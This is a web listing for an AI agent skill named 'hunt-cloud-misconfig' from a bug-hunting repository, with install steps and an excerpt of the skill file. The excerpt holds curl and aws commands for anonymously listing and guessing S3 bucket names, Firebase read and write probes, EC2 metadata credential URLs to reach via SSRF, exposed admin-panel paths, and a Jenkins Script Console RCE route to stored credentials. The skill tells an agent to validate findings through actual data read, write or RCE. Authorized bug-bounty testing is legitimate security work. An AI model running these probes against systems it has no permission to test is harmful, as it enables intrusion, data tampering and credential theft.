Skills for Real Engineers. Straight from my .agents directory.
hunt-cloud-misconfig
Agent skill fromelementalsouls/Claude-BugHunter
Hunt cloud / infrastructure misconfigurations. AWS: public S3 buckets (s3:GetObject anonymous), permissive bucket policies (PutObjectAcl public-write), exposed CloudFront origin, public Lambda function URL, public RDS snapshot, IAM credentials in JS bundles, AWS metadata accessible via SSRF. GCP: public GCS buckets, exposed Cloud Run services, leaked service account JSON. Azure: public blob containers, exposed Function App. (Kubernetes/Docker exposure is owned by hunt-k8s; CI/CD pipeline attacks by hunt-cicd; post-credential IAM escalation by cloud-iam-deep.) Detection: targeted dorking, certificate transparency, JS bundle secret extraction, port scan for known service ports. Validate: actual data read / write / RCE. Use when hunting cloud-native storage and compute misconfig (S3/GCS/Blob, IMDS-via-SSRF, serverless, public managed services).
How to install hunt-cloud-misconfig
npx skills add elementalsouls/Claude-BugHunter# or add only this skill to Claude Code: copy the folder
skills/hunt-cloud-misconfig/
# into
~/.claude/skills/hunt-cloud-misconfig/ (all projects)
.claude/skills/hunt-cloud-misconfig/ (one project)
1## 16. CLOUD / INFRA MISCONFIGS23### S3 / GCS / Azure Blob4```bash5# S3 listing6curl -s "https://TARGET-NAME.s3.amazonaws.com/?max-keys=10"7aws s3 ls s3://target-bucket-name --no-sign-request89# Try common bucket names10for name in target target-backup target-assets target-prod target-staging; do11 curl -s -o /dev/null -w "$name: %{http_code}\n" "https://$name.s3.amazonaws.com/"12done1314# Firebase open rules15curl -s "https://TARGET-APP.firebaseio.com/.json" # read16curl -s -X PUT "https://TARGET-APP.firebaseio.com/test.json" -d '"pwned"' # write17```1819### EC2 Metadata (via SSRF)20```bash21http://169.254.169.254/latest/meta-data/iam/security-credentials/ # role name22http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE-NAME # keys23```2425### Exposed Admin Panels26```27/jenkins /grafana /kibana /elasticsearch /swagger-ui.html28/phpMyAdmin /.env /config.json /api-docs /server-status29```3031---3233### Jenkins SSO-restriction failure → Script Console RCE34An exposed Jenkins that authenticates ANY personal Google/OAuth account (missing org-domain restriction) is full compromise: log in, then `/script` (Groovy console) = RCE, and `/credentials` + `/scriptText` = stored API tokens and source disclosure. Disclosed: reports/231460.3536### Exposed message broker (RabbitMQ / AMQP) with default creds37…
Excerpt shown under the repository's MIT license.
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